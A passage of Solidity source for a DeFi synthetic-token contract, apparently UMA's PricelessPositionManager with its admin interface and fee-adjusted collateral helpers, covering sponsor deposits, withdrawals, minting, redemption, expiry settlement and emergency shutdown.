rawCollateral.rawValue = rawCollateral.sub(adjustedCollateral).rawValue;
removedCollateral = initialBalance.sub(_getFeeAdjustedCollateral(rawCollateral));
}
// Increase rawCollateral by a fee-adjusted collateralToAdd amount. Fee adjustment scales up collateralToAdd
// by dividing it by cumulativeFeeMultiplier. There is potential for this quotient to be floored, therefore
// rawCollateral is increased by less than expected. Because this method is usually called in conjunction with an
// actual addition of collateral to this contract, return the fee-adjusted amount that the rawCollateral is
// increased by so that the caller can minimize error between collateral added and rawCollateral credited.
// NOTE: This return value exists only for the sake of symmetry with _removeCollateral. We don't actually use it
// because we are OK if more collateral is stored in the contract than is represented by rawTotalPositionCollateral.
function _addCollateral(FixedPoint.Unsigned storage rawCollateral, FixedPoint.Unsigned memory collateralToAdd)
internal
returns (FixedPoint.Unsigned memory addedCollateral)
{
FixedPoint.Unsigned memory initialBalance = _getFeeAdjustedCollateral(rawCollateral);
FixedPoint.Unsigned memory adjustedCollateral = _convertToRawCollateral(collateralToAdd);
rawCollateral.rawValue = rawCollateral.add(adjustedCollateral).rawValue;
addedCollateral = _getFeeAdjustedCollateral(rawCollateral).sub(initialBalance);
}
// Scale the cumulativeFeeMultiplier by the ratio of fees paid to the current available collateral.
function _adjustCumulativeFeeMultiplier(FixedPoint.Unsigned memory amount, FixedPoint.Unsigned memory currentPfc)
internal
{
FixedPoint.Unsigned memory effectiveFee = amount.divCeil(currentPfc);
cumulativeFeeMultiplier = cumulativeFeeMultiplier.mul(FixedPoint.fromUnscaledUint(1).sub(effectiveFee));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
/**
* @title Interface that all financial contracts expose to the admin.
*/
interface AdministrateeInterface {
/**
* @notice Initiates the shutdown process, in case of an emergency.
*/
function emergencyShutdown() external;
/**
* @notice A core contract method called independently or as a part of other financial contract transactions.
* @dev It pays fees and moves money between margin accounts to make sure they reflect the NAV of the contract.
*/
function remargin() external;
/**
* @notice Gets the current profit from corruption for this contract in terms of the collateral currency.
* @dev This is equivalent to the collateral pool available from which to pay fees. Therefore, derived contracts are
* expected to implement this so that pay-fee methods can correctly compute the owed fees as a % of PfC.
* @return pfc value for equal to the current profit from corruption denominated in collateral currency.
*/
function pfc() external view returns (FixedPoint.Unsigned memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../common/interfaces/IERC20Standard.sol";
import "../../oracle/interfaces/OracleInterface.sol";
import "../../oracle/interfaces/OptimisticOracleInterface.sol";
import "../../oracle/interfaces/IdentifierWhitelistInterface.sol";
import "../../oracle/implementation/Constants.sol";
import "../common/FeePayer.sol";
import "../common/financial-product-libraries/FinancialProductLibrary.sol";
/**
* @title Financial contract with priceless position management.
* @notice Handles positions for multiple sponsors in an optimistic (i.e., priceless) way without relying
* on a price feed. On construction, deploys a new ERC20, managed by this contract, that is the synthetic token.
*/
contract PricelessPositionManager is FeePayer {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using SafeERC20 for IERC20;
using SafeERC20 for ExpandedIERC20;
using Address for address;
/****************************************
* PRICELESS POSITION DATA STRUCTURES *
****************************************/
// Stores the state of the PricelessPositionManager. Set on expiration, emergency shutdown, or settlement.
enum ContractState { Open, ExpiredPriceRequested, ExpiredPriceReceived }
ContractState public contractState;
// Represents a single sponsor's position. All collateral is held by this contract.
// This struct acts as bookkeeping for how much of that collateral is allocated to each sponsor.
struct PositionData {
FixedPoint.Unsigned tokensOutstanding;
// Tracks pending withdrawal requests. A withdrawal request is pending if `withdrawalRequestPassTimestamp != 0`.
uint256 withdrawalRequestPassTimestamp;
FixedPoint.Unsigned withdrawalRequestAmount;
// Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral().
// To add or remove collateral, use _addCollateral() and _removeCollateral().
FixedPoint.Unsigned rawCollateral;
// Tracks pending transfer position requests. A transfer position request is pending if `transferPositionRequestPassTimestamp != 0`.
uint256 transferPositionRequestPassTimestamp;
}
// Maps sponsor addresses to their positions. Each sponsor can have only one position.
mapping(address => PositionData) public positions;
// Keep track of the total collateral and tokens across all positions to enable calculating the
// global collateralization ratio without iterating over all positions.
FixedPoint.Unsigned public totalTokensOutstanding;
// Similar to the rawCollateral in PositionData, this value should not be used directly.
// _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust.
FixedPoint.Unsigned public rawTotalPositionCollateral;
// Synthetic token created by this contract.
ExpandedIERC20 public tokenCurrency;
// Unique identifier for DVM price feed ticker.
bytes32 public priceIdentifier;
// Time that this contract expires. Should not change post-construction unless an emergency shutdown occurs.
uint256 public expirationTimestamp;
// Time that has to elapse for a withdrawal request to be considered passed, if no liquidations occur.
// !!Note: The lower the withdrawal liveness value, the more risk incurred by the contract.
// Extremely low liveness values increase the chance that opportunistic invalid withdrawal requests
// expire without liquidation, thereby increasing the insolvency risk for the contract as a whole. An insolvent
// contract is extremely risky for any sponsor or synthetic token holder for the contract.
uint256 public withdrawalLiveness;
// Minimum number of tokens in a sponsor's position.
FixedPoint.Unsigned public minSponsorTokens;
// The expiry price pulled from the DVM.
FixedPoint.Unsigned public expiryPrice;
// Instance of FinancialProductLibrary to provide custom price and collateral requirement transformations to extend
// the functionality of the EMP to support a wider range of financial products.
FinancialProductLibrary public financialProductLibrary;
/****************************************
* EVENTS *
****************************************/
event RequestTransferPosition(address indexed oldSponsor);
event RequestTransferPositionExecuted(address indexed oldSponsor, address indexed newSponsor);
event RequestTransferPositionCanceled(address indexed oldSponsor);
event Deposit(address indexed sponsor, uint256 indexed collateralAmount);
event Withdrawal(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawal(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawalExecuted(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawalCanceled(address indexed sponsor, uint256 indexed collateralAmount);
event PositionCreated(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount);
event NewSponsor(address indexed sponsor);
event EndedSponsorPosition(address indexed sponsor);
event Repay(address indexed sponsor, uint256 indexed numTokensRepaid, uint256 indexed newTokenCount);
event Redeem(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount);
event ContractExpired(address indexed caller);
event SettleExpiredPosition(
address indexed caller,
uint256 indexed collateralReturned,
uint256 indexed tokensBurned
);
event EmergencyShutdown(address indexed caller, uint256 originalExpirationTimestamp, uint256 shutdownTimestamp);
/****************************************
* MODIFIERS *
****************************************/
modifier onlyPreExpiration() {
_onlyPreExpiration();
_;
}
modifier onlyPostExpiration() {
_onlyPostExpiration();
_;
}
modifier onlyCollateralizedPosition(address sponsor) {
_onlyCollateralizedPosition(sponsor);
_;
}
// Check that the current state of the pricelessPositionManager is Open.
// This prevents multiple calls to `expire` and `EmergencyShutdown` post expiration.
modifier onlyOpenState() {
_onlyOpenState();
_;
}
modifier noPendingWithdrawal(address sponsor) {
_positionHasNoPendingWithdrawal(sponsor);
_;
}
/**
* @notice Construct the PricelessPositionManager
* @dev Deployer of this contract should consider carefully which parties have ability to mint and burn
* the synthetic tokens referenced by `_tokenAddress`. This contract's security assumes that no external accounts
* can mint new tokens, which could be used to steal all of this contract's locked collateral.
* We recommend to only use synthetic token contracts whose sole Owner role (the role capable of adding & removing roles)
* is assigned to this contract, whose sole Minter role is assigned to this contract, and whose
* total supply is 0 prior to construction of this contract.
* @param _expirationTimestamp unix timestamp of when the contract will expire.
* @param _withdrawalLiveness liveness delay, in seconds, for pending withdrawals.
* @param _collateralAddress ERC20 token used as collateral for all positions.
* @param _tokenAddress ERC20 token used as synthetic token.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _priceIdentifier registered in the DVM for the synthetic.
* @param _minSponsorTokens minimum number of tokens that must exist at any time in a position.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
* @param _financialProductLibraryAddress Contract providing contract state transformations.
*/
constructor(
uint256 _expirationTimestamp,
uint256 _withdrawalLiveness,
address _collateralAddress,
address _tokenAddress,
address _finderAddress,
bytes32 _priceIdentifier,
FixedPoint.Unsigned memory _minSponsorTokens,
address _timerAddress,
address _financialProductLibraryAddress
) public FeePayer(_collateralAddress, _finderAddress, _timerAddress) nonReentrant() {
require(_expirationTimestamp > getCurrentTime());
require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier));
expirationTimestamp = _expirationTimestamp;
withdrawalLiveness = _withdrawalLiveness;
tokenCurrency = ExpandedIERC20(_tokenAddress);
minSponsorTokens = _minSponsorTokens;
priceIdentifier = _priceIdentifier;
// Initialize the financialProductLibrary at the provided address.
financialProductLibrary = FinancialProductLibrary(_financialProductLibraryAddress);
}
/****************************************
* POSITION FUNCTIONS *
****************************************/
/**
* @notice Requests to transfer ownership of the caller's current position to a new sponsor address.
* Once the request liveness is passed, the sponsor can execute the transfer and specify the new sponsor.
* @dev The liveness length is the same as the withdrawal liveness.
*/
function requestTransferPosition() public onlyPreExpiration() nonReentrant() {
PositionData storage positionData = _getPositionData(msg.sender);
require(positionData.transferPositionRequestPassTimestamp == 0);
// Make sure the proposed expiration of this request is not post-expiry.
uint256 requestPassTime = getCurrentTime().add(withdrawalLiveness);
require(requestPassTime < expirationTimestamp);
// Update the position object for the user.
positionData.transferPositionRequestPassTimestamp = requestPassTime;
emit RequestTransferPosition(msg.sender);
}
/**
* @notice After a passed transfer position request (i.e., by a call to `requestTransferPosition` and waiting
* `withdrawalLiveness`), transfers ownership of the caller's current position to `newSponsorAddress`.
* @dev Transferring positions can only occur if the recipient does not already have a position.
* @param newSponsorAddress is the address to which the position will be transferred.
*/
function transferPositionPassedRequest(address newSponsorAddress)
public
onlyPreExpiration()
noPendingWithdrawal(msg.sender)
nonReentrant()
{
require(
_getFeeAdjustedCollateral(positions[newSponsorAddress].rawCollateral).isEqual(
FixedPoint.fromUnscaledUint(0)
)
);
PositionData storage positionData = _getPositionData(msg.sender);
require(
positionData.transferPositionRequestPassTimestamp != 0 &&
positionData.transferPositionRequestPassTimestamp <= getCurrentTime()
);
// Reset transfer request.
positionData.transferPositionRequestPassTimestamp = 0;
positions[newSponsorAddress] = positionData;
delete positions[msg.sender];
emit RequestTransferPositionExecuted(msg.sender, newSponsorAddress);
emit NewSponsor(newSponsorAddress);
emit EndedSponsorPosition(msg.sender);
}
/**
* @notice Cancels a pending transfer position request.
*/
function cancelTransferPosition() external onlyPreExpiration() nonReentrant() {
PositionData storage positionData = _getPositionData(msg.sender);
require(positionData.transferPositionRequestPassTimestamp != 0);
emit RequestTransferPositionCanceled(msg.sender);
// Reset withdrawal request.
positionData.transferPositionRequestPassTimestamp = 0;
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into the specified sponsor's position.
* @dev Increases the collateralization level of a position after creation. This contract must be approved to spend
* at least `collateralAmount` of `collateralCurrency`.
* @param sponsor the sponsor to credit the deposit to.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function depositTo(address sponsor, FixedPoint.Unsigned memory collateralAmount)
public
onlyPreExpiration()
noPendingWithdrawal(sponsor)
fees()
nonReentrant()
{
require(collateralAmount.isGreaterThan(0));
PositionData storage positionData = _getPositionData(sponsor);
// Increase the position and global collateral balance by collateral amount.
_incrementCollateralBalances(positionData, collateralAmount);
emit Deposit(sponsor, collateralAmount.rawValue);
// Move collateral currency from sender to contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into the caller's position.
* @dev Increases the collateralization level of a position after creation. This contract must be approved to spend
* at least `collateralAmount` of `collateralCurrency`.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function deposit(FixedPoint.Unsigned memory collateralAmount) public {
// This is just a thin wrapper over depositTo that specified the sender as the sponsor.
depositTo(msg.sender, collateralAmount);
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` from the sponsor's position to the sponsor.
* @dev Reverts if the withdrawal puts this position's collateralization ratio below the global collateralization
* ratio. In that case, use `requestWithdrawal`. Might not withdraw the full requested amount to account for precision loss.
* @param collateralAmount is the amount of collateral to withdraw.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function withdraw(FixedPoint.Unsigned memory collateralAmount)
public
onlyPreExpiration()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
require(collateralAmount.isGreaterThan(0));
PositionData storage positionData = _getPositionData(msg.sender);
// Decrement the sponsor's collateral and global collateral amounts. Check the GCR between decrement to ensure
// position remains above the GCR within the withdrawal. If this is not the case the caller must submit a request.
amountWithdrawn = _decrementCollateralBalancesCheckGCR(positionData, collateralAmount);
emit Withdrawal(msg.sender, amountWithdrawn.rawValue);
// Move collateral currency from contract to sender.
// Note: that we move the amount of collateral that is decreased from rawCollateral (inclusive of fees)
// instead of the user requested amount. This eliminates precision loss that could occur
// where the user withdraws more collateral than rawCollateral is decremented by.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Starts a withdrawal request that, if passed, allows the sponsor to withdraw` from their position.
* @dev The request will be pending for `withdrawalLiveness`, during which the position can be liquidated.
* @param collateralAmount the amount of collateral requested to withdraw
*/
function requestWithdrawal(FixedPoint.Unsigned memory collateralAmount)
public
onlyPreExpiration()
noPendingWithdrawal(msg.sender)
nonReentrant()
{
PositionData storage positionData = _getPositionData(msg.sender);
require(
collateralAmount.isGreaterThan(0) &&
collateralAmount.isLessThanOrEqual(_getFeeAdjustedCollateral(positionData.rawCollateral))
);
// Make sure the proposed expiration of this request is not post-expiry.
uint256 requestPassTime = getCurrentTime().add(withdrawalLiveness);
require(requestPassTime < expirationTimestamp);
// Update the position object for the user.
positionData.withdrawalRequestPassTimestamp = requestPassTime;
positionData.withdrawalRequestAmount = collateralAmount;
emit RequestWithdrawal(msg.sender, collateralAmount.rawValue);
}
/**
* @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and waiting
* `withdrawalLiveness`), withdraws `positionData.withdrawalRequestAmount` of collateral currency.
* @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested
* amount exceeds the collateral in the position (due to paying fees).
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function withdrawPassedRequest()
external
onlyPreExpiration()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
PositionData storage positionData = _getPositionData(msg.sender);
require(
positionData.withdrawalRequestPassTimestamp != 0 &&
positionData.withdrawalRequestPassTimestamp <= getCurrentTime()
);
// If withdrawal request amount is > position collateral, then withdraw the full collateral amount.
// This situation is possible due to fees charged since the withdrawal was originally requested.
FixedPoint.Unsigned memory amountToWithdraw = positionData.withdrawalRequestAmount;
if (positionData.withdrawalRequestAmount.isGreaterThan(_getFeeAdjustedCollateral(positionData.rawCollateral))) {
amountToWithdraw = _getFeeAdjustedCollateral(positionData.rawCollateral);
}
// Decrement the sponsor's collateral and global collateral amounts.
amountWithdrawn = _decrementCollateralBalances(positionData, amountToWithdraw);
// Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0.
_resetWithdrawalRequest(positionData);
// Transfer approved withdrawal amount from the contract to the caller.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
emit RequestWithdrawalExecuted(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Cancels a pending withdrawal request.
*/
function cancelWithdrawal() external nonReentrant() {
PositionData storage positionData = _getPositionData(msg.sender);
require(positionData.withdrawalRequestPassTimestamp != 0);
emit RequestWithdrawalCanceled(msg.sender, positionData.withdrawalRequestAmount.rawValue);
// Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0.
_resetWithdrawalRequest(positionData);
}
/**
* @notice Creates tokens by creating a new position or by augmenting an existing position. Pulls `collateralAmount` into the sponsor's position and mints `numTokens` of `tokenCurrency`.
* @dev Reverts if minting these tokens would put the position's collateralization ratio below the
* global collateralization ratio. This contract must be approved to spend at least `collateralAmount` of
* `collateralCurrency`.
* @dev This contract must have the Minter role for the `tokenCurrency`.
* @param collateralAmount is the number of collateral tokens to collateralize the position with
* @param numTokens is the number of tokens to mint from the position.
*/
function create(FixedPoint.Unsigned memory collateralAmount, FixedPoint.Unsigned memory numTokens)
public
onlyPreExpiration()
fees()
nonReentrant()
{
PositionData storage positionData = positions[msg.sender];
// Either the new create ratio or the resultant position CR must be above the current GCR.
require(
(_checkCollateralization(
_getFeeAdjustedCollateral(positionData.rawCollateral).add(collateralAmount),
positionData.tokensOutstanding.add(numTokens)
) || _checkCollateralization(collateralAmount, numTokens)),
"Insufficient collateral"
);
require(positionData.withdrawalRequestPassTimestamp == 0, "Pending withdrawal");
if (positionData.tokensOutstanding.isEqual(0)) {
require(numTokens.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position");
emit NewSponsor(msg.sender);
}
// Increase the position and global collateral balance by collateral amount.
_incrementCollateralBalances(positionData, collateralAmount);
// Add the number of tokens created to the position's outstanding tokens.
positionData.tokensOutstanding = positionData.tokensOutstanding.add(numTokens);
totalTokensOutstanding = totalTokensOutstanding.add(numTokens);
emit PositionCreated(msg.sender, collateralAmount.rawValue, numTokens.rawValue);
// Transfer tokens into the contract from caller and mint corresponding synthetic tokens to the caller's address.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
require(tokenCurrency.mint(msg.sender, numTokens.rawValue));
}
/**
* @notice Burns `numTokens` of `tokenCurrency` to decrease sponsors position size, without sending back `collateralCurrency`.
* This is done by a sponsor to increase position CR. Resulting size is bounded by minSponsorTokens.
* @dev Can only be called by token sponsor. This contract must be approved to spend `numTokens` of `tokenCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param numTokens is the number of tokens to be burnt from the sponsor's debt position.
*/
function repay(FixedPoint.Unsigned memory numTokens)
public
onlyPreExpiration()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
{
PositionData storage positionData = _getPositionData(msg.sender);
require(numTokens.isLessThanOrEqual(positionData.tokensOutstanding));
// Decrease the sponsors position tokens size. Ensure it is above the min sponsor size.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens));
positionData.tokensOutstanding = newTokenCount;
// Update the totalTokensOutstanding after redemption.
totalTokensOutstanding = totalTokensOutstanding.sub(numTokens);
emit Repay(msg.sender, numTokens.rawValue, newTokenCount.rawValue);
// Transfer the tokens back from the sponsor and burn them.
tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue);
tokenCurrency.burn(numTokens.rawValue);
}
/**
* @notice Burns `numTokens` of `tokenCurrency` and sends back the proportional amount of `collateralCurrency`.
* @dev Can only be called by a token sponsor. Might not redeem the full proportional amount of collateral
* in order to account for precision loss. This contract must be approved to spend at least `numTokens` of
* `tokenCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param numTokens is the number of tokens to be burnt for a commensurate amount of collateral.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function redeem(FixedPoint.Unsigned memory numTokens)
public
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
PositionData storage positionData = _getPositionData(msg.sender);
require(!numTokens.isGreaterThan(positionData.tokensOutstanding));
FixedPoint.Unsigned memory fractionRedeemed = numTokens.div(positionData.tokensOutstanding);
FixedPoint.Unsigned memory collateralRedeemed =
fractionRedeemed.mul(_getFeeAdjustedCollateral(positionData.rawCollateral));
// If redemption returns all tokens the sponsor has then we can delete their position. Else, downsize.
if (positionData.tokensOutstanding.isEqual(numTokens)) {
amountWithdrawn = _deleteSponsorPosition(msg.sender);
} else {
// Decrement the sponsor's collateral and global collateral amounts.
amountWithdrawn = _decrementCollateralBalances(positionData, collateralRedeemed);
// Decrease the sponsors position tokens size. Ensure it is above the min sponsor size.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position");
positionData.tokensOutstanding = newTokenCount;
// Update the totalTokensOutstanding after redemption.
totalTokensOutstanding = totalTokensOutstanding.sub(numTokens);
}
emit Redeem(msg.sender, amountWithdrawn.rawValue, numTokens.rawValue);
// Transfer collateral from contract to caller and burn callers synthetic tokens.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue);
tokenCurrency.burn(numTokens.rawValue);
}
/**
* @notice After a contract has passed expiry all token holders can redeem their tokens for underlying at the
* prevailing price defined by the DVM from the `expire` function.
* @dev This burns all tokens from the caller of `tokenCurrency` and sends back the proportional amount of
* `collateralCurrency`. Might not redeem the full proportional amount of collateral in order to account for
* precision loss. This contract must be approved to spend `tokenCurrency` at least up to the caller's full balance.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function settleExpired()
external
onlyPostExpiration()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
// If the contract state is open and onlyPostExpiration passed then `expire()` has not yet been called.
require(contractState != ContractState.Open, "Unexpired position");
// Get the current settlement price and store it. If it is not resolved will revert.
if (contractState != ContractState.ExpiredPriceReceived) {
expiryPrice = _getOraclePriceExpiration(expirationTimestamp);
contractState = ContractState.ExpiredPriceReceived;
}
// Get caller's tokens balance and calculate amount of underlying entitled to them.
FixedPoint.Unsigned memory tokensToRedeem = FixedPoint.Unsigned(tokenCurrency.balanceOf(msg.sender));
FixedPoint.Unsigned memory totalRedeemableCollateral = tokensToRedeem.mul(expiryPrice);
// If the caller is a sponsor with outstanding collateral they are also entitled to their excess collateral after their debt.
PositionData storage positionData = positions[msg.sender];
if (_getFeeAdjustedCollateral(positionData.rawCollateral).isGreaterThan(0)) {
// Calculate the underlying entitled to a token sponsor. This is collateral - debt in underlying.
FixedPoint.Unsigned memory tokenDebtValueInCollateral = positionData.tokensOutstanding.mul(expiryPrice);
FixedPoint.Unsigned memory positionCollateral = _getFeeAdjustedCollateral(positionData.rawCollateral);
// If the debt is greater than the remaining collateral, they cannot redeem anything.
FixedPoint.Unsigned memory positionRedeemableCollateral =
tokenDebtValueInCollateral.isLessThan(positionCollateral)
? positionCollateral.sub(tokenDebtValueInCollateral)
: FixedPoint.Unsigned(0);
// Add the number of redeemable tokens for the sponsor to their total redeemable collateral.
totalRedeemableCollateral = totalRedeemableCollateral.add(positionRedeemableCollateral);
// Reset the position state as all the value has been removed after settlement.
delete positions[msg.sender];
emit EndedSponsorPosition(msg.sender);
}
// Take the min of the remaining collateral and the collateral "owed". If the contract is undercapitalized,
// the caller will get as much collateral as the contract can pay out.
FixedPoint.Unsigned memory payout =
FixedPoint.min(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalRedeemableCollateral);
// Decrement total contract collateral and outstanding debt.
amountWithdrawn = _removeCollateral(rawTotalPositionCollateral, payout);
totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRedeem);
emit SettleExpiredPosition(msg.sender, amountWithdrawn.rawValue, tokensToRedeem.rawValue);
// Transfer tokens & collateral and burn the redeemed tokens.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensToRedeem.rawValue);
tokenCurrency.burn(tokensToRedeem.rawValue);
}
/****************************************
* GLOBAL STATE FUNCTIONS *
****************************************/
/**
* @notice Locks contract state in expired and requests oracle price.
* @dev this function can only be called once the contract is expired and can't be re-called.
*/
function expire() external onlyPostExpiration() onlyOpenState() fees() nonReentrant() {
contractState = ContractState.ExpiredPriceRequested;
// Final fees do not need to be paid when sending a request to the optimistic oracle.
_requestOraclePriceExpiration(expirationTimestamp);
emit ContractExpired(msg.sender);
}
/**
* @notice Premature contract settlement under emergency circumstances.
* @dev Only the governor can call this function as they are permissioned within the `FinancialContractAdmin`.
* Upon emergency shutdown, the contract settlement time is set to the shutdown time. This enables withdrawal
* to occur via the standard `settleExpired` function. Contract state is set to `ExpiredPriceRequested`
* which prevents re-entry into this function or the `expire` function. No fees are paid when calling
* `emergencyShutdown` as the governor who would call the function would also receive the fees.
*/
function emergencyShutdown() external override onlyPreExpiration() onlyOpenState() nonReentrant() {
require(msg.sender == _getFinancialContractsAdminAddress());
contractState = ContractState.ExpiredPriceRequested;
// Expiratory time now becomes the current time (emergency shutdown time).
// Price requested at this time stamp. `settleExpired` can now withdraw at this timestamp.
uint256 oldExpirationTimestamp = expirationTimestamp;
expirationTimestamp = getCurrentTime();
_requestOraclePriceExpiration(expirationTimestamp);
emit EmergencyShutdown(msg.sender, oldExpirationTimestamp, expirationTimestamp);
}
/**
* @notice Theoretically supposed to pay fees and move money between margin accounts to make sure they
* reflect the NAV of the contract. However, this functionality doesn't apply to this contract.
* @dev This is supposed to be implemented by any contract that inherits `AdministrateeInterface` and callable
* only by the Governor contract. This method is therefore minimally implemented in this contract and does nothing.
*/
function remargin() external override onlyPreExpiration() nonReentrant() {
return;
}
/**
* @notice Accessor method for a sponsor's collateral.
* @dev This is necessary because the struct returned by the positions() method shows
* rawCollateral, which isn't a user-readable value.
* @dev This method accounts for pending regular fees that have not yet been withdrawn from this contract, for
* example if the `lastPaymentTime != currentTime`.
* @param sponsor address whose collateral amount is retrieved.
* @return collateralAmount amount of collateral within a sponsors position.
*/
function getCollateral(address sponsor) external view nonReentrantView() returns (FixedPoint.Unsigned memory) {
// Note: do a direct access to avoid the validity check.
return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(positions[sponsor].rawCollateral));
}
/**
* @notice Accessor method for the total collateral stored within the PricelessPositionManager.
* @return totalCollateral amount of all collateral within the Expiring Multi Party Contract.
* @dev This method accounts for pending regular fees that have not yet been withdrawn from this contract, for
* example if the `lastPaymentTime != currentTime`.
*/
function totalPositionCollateral() external view nonReentrantView() returns (FixedPoint.Unsigned memory) {
return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(rawTotalPositionCollateral));
}
/**
* @notice Accessor method to compute a transformed price using the finanicalProductLibrary specified at contract
* deployment. If no library was provided then no modification to the price is done.
* @param price input price to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedPrice price with the transformation function applied to it.
* @dev This method should never revert.
*/
function transformPrice(FixedPoint.Unsigned memory price, uint256 requestTime)
public
view
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
return _transformPrice(price, requestTime);
}
/**
* @notice Accessor method to compute a transformed price identifier using the finanicalProductLibrary specified
* at contract deployment. If no library was provided then no modification to the identifier is done.
* @param requestTime timestamp the identifier is to be used at.
* @return transformedPrice price with the transformation function applied to it.
* @dev This method should never revert.
*/
function transformPriceIdentifier(uint256 requestTime) public view nonReentrantView() returns (bytes32) {
return _transformPriceIdentifier(requestTime);
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Reduces a sponsor's position and global counters by the specified parameters. Handles deleting the entire
// position if the entire position is being removed. Does not make any external transfers.
function _reduceSponsorPosition(
address sponsor,
FixedPoint.Unsigned memory tokensToRemove,
FixedPoint.Unsigned memory collateralToRemove,
FixedPoint.Unsigned memory withdrawalAmountToRemove
) internal {
PositionData storage positionData = _getPositionData(sponsor);
// If the entire position is being removed, delete it instead.
if (
tokensToRemove.isEqual(positionData.tokensOutstanding) &&
_getFeeAdjustedCollateral(positionData.rawCollateral).isEqual(collateralToRemove)
) {
_deleteSponsorPosition(sponsor);
return;
}
// Decrement the sponsor's collateral and global collateral amounts.
_decrementCollateralBalances(positionData, collateralToRemove);
// Ensure that the sponsor will meet the min position size after the reduction.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(tokensToRemove);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position");
positionData.tokensOutstanding = newTokenCount;
// Decrement the position's withdrawal amount.
positionData.withdrawalRequestAmount = positionData.withdrawalRequestAmount.sub(withdrawalAmountToRemove);
// Decrement the total outstanding tokens in the overall contract.
totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRemove);
}
// Deletes a sponsor's position and updates global counters. Does not make any external transfers.
function _deleteSponsorPosition(address sponsor) internal returns (FixedPoint.Unsigned memory) {
PositionData storage positionToLiquidate = _getPositionData(sponsor);
FixedPoint.Unsigned memory startingGlobalCollateral = _getFeeAdjustedCollateral(rawTotalPositionCollateral);
// Remove the collateral and outstanding from the overall total position.
FixedPoint.Unsigned memory remainingRawCollateral = positionToLiquidate.rawCollateral;
rawTotalPositionCollateral = rawTotalPositionCollateral.sub(remainingRawCollateral);
totalTokensOutstanding = totalTokensOutstanding.sub(positionToLiquidate.tokensOutstanding);
// Reset the sponsors position to have zero outstanding and collateral.
delete positions[sponsor];
emit EndedSponsorPosition(sponsor);
// Return fee-adjusted amount of collateral deleted from position.
return startingGlobalCollateral.sub(_getFeeAdjustedCollateral(rawTotalPositionCollateral));
}
function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(rawTotalPositionCollateral);
}
function _getPositionData(address sponsor)
internal
view
onlyCollateralizedPosition(sponsor)
returns (PositionData storage)
{
return positions[sponsor];
}
